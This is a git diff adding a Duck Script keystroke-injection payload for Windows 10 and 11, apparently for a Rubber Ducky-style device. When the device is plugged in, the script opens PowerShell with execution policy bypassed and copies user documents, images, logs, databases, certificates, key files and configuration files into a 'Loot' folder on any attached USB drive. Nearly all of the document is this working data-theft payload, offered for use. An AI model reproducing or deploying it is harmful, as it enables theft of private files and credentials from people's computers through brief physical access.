diff --git a/OSINT/Exfiltrate Files to USB Drives.txt b/OSINT/Exfiltrate Files to USB Drives.txt new file mode 100644 index 0000000..b0b631f --- /dev/null +++ b/OSINT/Exfiltrate Files to USB Drives.txt @@ -0,0 +1,15 @@ +REM Title: Exfiltrate files to Removable Drives +REM Author: @beigeworm +REM Description: This Script finds all USB drives and attempts to copy many user files to them. (searches user folders for pictures, video, text files etc..) +REM Target: Windows 10 and 11 + +REM some setup for dukie script +DEFAULT_DELAY 100 + +GUI r +DELAY 750 +STRING powershell -NoP -Exec Bypass +ENTER +DELAY 4000 +STRING $removableDrives = Get-WmiObject Win32_LogicalDisk | Where-Object { $_.DriveType -eq 2 };if($removableDrives.Length -eq 0){Write-Host "No Removable Drives Found.. Exiting";break}foreach($drive in $removableDrives){$driveLetter = $drive.DeviceID;Write-Host "Loot Drive Set To : $driveLetter/";$fileExtensions = @("*.log", "*.db", "*.txt", "*.doc", "*.pdf", "*.jpg", "*.jpeg", "*.png", "*.wdoc", "*.xdoc", "*.cer", "*.key", "*.xls", "*.xlsx", "*.cfg", "*.conf", "*.wpd", "*.rft");$foldersToSearch = @("$env:USERPROFILE\Documents","$env:USERPROFILE\Desktop","$env:USERPROFILE\Downloads","$env:USERPROFILE\OneDrive","$env:USERPROFILE\Pictures","$env:USERPROFILE\Videos");$destinationPath = "$driveLetter\$env:COMPUTERNAME`_Loot";if(-not(Test-Path -Path $destinationPath)){New-Item -ItemType Directory -Path $destinationPath -Force;Write-Host "New Folder Created : $destinationPath"}foreach($folder in $foldersToSearch){Write-Host "Searching in $folder";foreach($extension in $fileExtensions){$files = Get-ChildItem -Path $folder -Recurse -Filter $extension -File;foreach($file in $files){$destinationFile = Join-Path -Path $destinationPath -ChildPath $file.Name;Write-Host "Copying $($file.FullName) to $($destinationFile)";Copy-Item -Path $file.FullName -Destination $destinationFile -Force}}}Write-Host "File Exfiltration complete."};exit +ENTER \ No newline at end of file